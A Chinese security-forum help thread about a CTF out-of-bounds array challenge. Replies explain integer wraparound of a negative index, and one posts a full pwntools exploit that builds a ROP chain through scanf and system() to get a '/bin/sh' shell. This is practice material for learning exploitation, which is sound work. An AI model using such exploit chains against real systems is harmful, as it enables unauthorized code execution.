首页
社区
课程
招聘
[求助]一道数组越界的pwn题
发表于: 2018-6-18 10:49 4429

[求助]一道数组越界的pwn题

2018-6-18 10:49
4429
一道数组越界的pwn题,实在不清楚该怎么去写了,知道能写负数,写了负数应该是上溢,上溢不应该是没有办法去改变ret地址了吗
求师傅请教。

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 0
支持
分享
最新回复 (11)
雪    币: 204
活跃值: (911)
能力值: (RANK:1324 )
在线值:
发帖
回帖
粉丝
2
有个乘以8
2018-6-18 11:20
0
雪    币: 3567
活跃值: (467)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
3
jackandkx 有个乘以8
这个我知道,乘以8那段是$rbp+$rax*8-0x60这一段吧,这一段是数组的存储地址吧,我写上-1的时候确实是在第一个数组段的上一段栈空间,我想知道这样怎么能够去改变在栈上后面的ret地址呢?怎样写入index才能变正数又能保证越过数组的栈段空间呢?
2018-6-18 11:28
0
雪    币: 5676
活跃值: (1303)
能力值: ( LV17,RANK:1185 )
在线值:
发帖
回帖
粉丝
4

mov [rbp+rax*8+s], rdx
返回地址在s+0x68处
所以便是要找到rax,使得
(rbp+rax*8+s) % 0x10000000000000000==(rbp+s+0x68)
这个mod很关键,主要就是利用负数可以“往前走一圈走回来走到后面的返回地址这种感觉”
所以rax=0x40000000000000068/8=0x800000000000000d
用4是因为这样才能让他为负,所以转换一下就是-9223372036854775795
然后其他的就同理了。。。不说了。。。
一共10次任意写,完全够用了。。。

2018-6-18 11:37
0
雪    币: 3567
活跃值: (467)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
5
holing `mov [rbp+rax*8+s], rdx` 返回地址在s\+0x68处 所以便是要找到rax,使得 `(rbp+rax*8+s) % 0x10000000000000000==(r ...
懂了!谢谢dalao!
2018-6-18 12:05
0
雪    币: 204
活跃值: (911)
能力值: (RANK:1324 )
在线值:
发帖
回帖
粉丝
6
这个shell怎么给的是system("id")..
2018-6-18 20:39
0
雪    币: 3567
活跃值: (467)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
7
jackandkx 这个shell怎么给的是system("id")..
所以要自己写入'/bin/sh'呀
2018-6-18 21:41
0
雪    币: 204
活跃值: (911)
能力值: (RANK:1324 )
在线值:
发帖
回帖
粉丝
8
发个exp让我学习下可好
2018-6-18 21:48
0
雪    币: 3567
活跃值: (467)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
9
from pwn import *

p = process('./pwn1')
elf = ELF('pwn1')

p.recvuntil('name:\n')
p.sendline('cyc')
system_addr = elf.symbols['system']
bss_addr = elf.bss()
scanf_addr = elf.symbols['__isoc99_scanf']
pop_rdi = 0x400a33
pop_rsi = 0x400a31  #pop rsi;pop r15;ret
ret_addr = 6917529027641081843  #0xa00000000000000d de fu shu
scanf_formot = 0x400AFC

#gdb.attach(p)
#1
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr))
p.recvuntil('age:\n')
p.sendline('%s' % (pop_rdi))

#2
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-1))
p.recvuntil('age:\n')
p.sendline('%s' % (scanf_formot))

#3
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-2))
p.recvuntil('age:\n')
p.sendline('%s' % (pop_rsi))

#4
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-3))
p.recvuntil('age:\n')
p.sendline('%s' % (bss_addr))

#5
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-4))
p.recvuntil('age:\n')
p.sendline('%s' % (0x1))

#6
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-5))
p.recvuntil('age:\n')
p.sendline('%s' % (scanf_addr))

#7
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-6))
p.recvuntil('age:\n')
p.sendline('%s' % (pop_rdi))

#8
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-7))
p.recvuntil('age:\n')
p.sendline('%s' % (bss_addr))

#9
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-8))
p.recvuntil('age:\n')
p.sendline('%s' % (system_addr))

#10
p.recvuntil('index:\n')
p.sendline('0')
p.recvuntil('age:\n')
p.sendline('0')

p.sendline('/bin/sh')

p.interactive()
最后于 2018-6-19 15:10 被V1NKe编辑 ,原因:
2018-6-19 15:08
0
雪    币: 3567
活跃值: (467)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
10
代码有点糙哈
2018-6-19 15:09
0
雪    币: 3567
活跃值: (467)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
11
jackandkx 发个exp让我学习下可好[em_12]
发了  代码有点糙  别介意哈哈哈
2018-6-19 15:11
0
雪    币: 204
活跃值: (911)
能力值: (RANK:1324 )
在线值:
发帖
回帖
粉丝
12
测试可用
没想到是要rop调scanf,学习了。
多谢
2018-6-19 15:25
0
游客
登录 | 注册 方可回帖
返回
//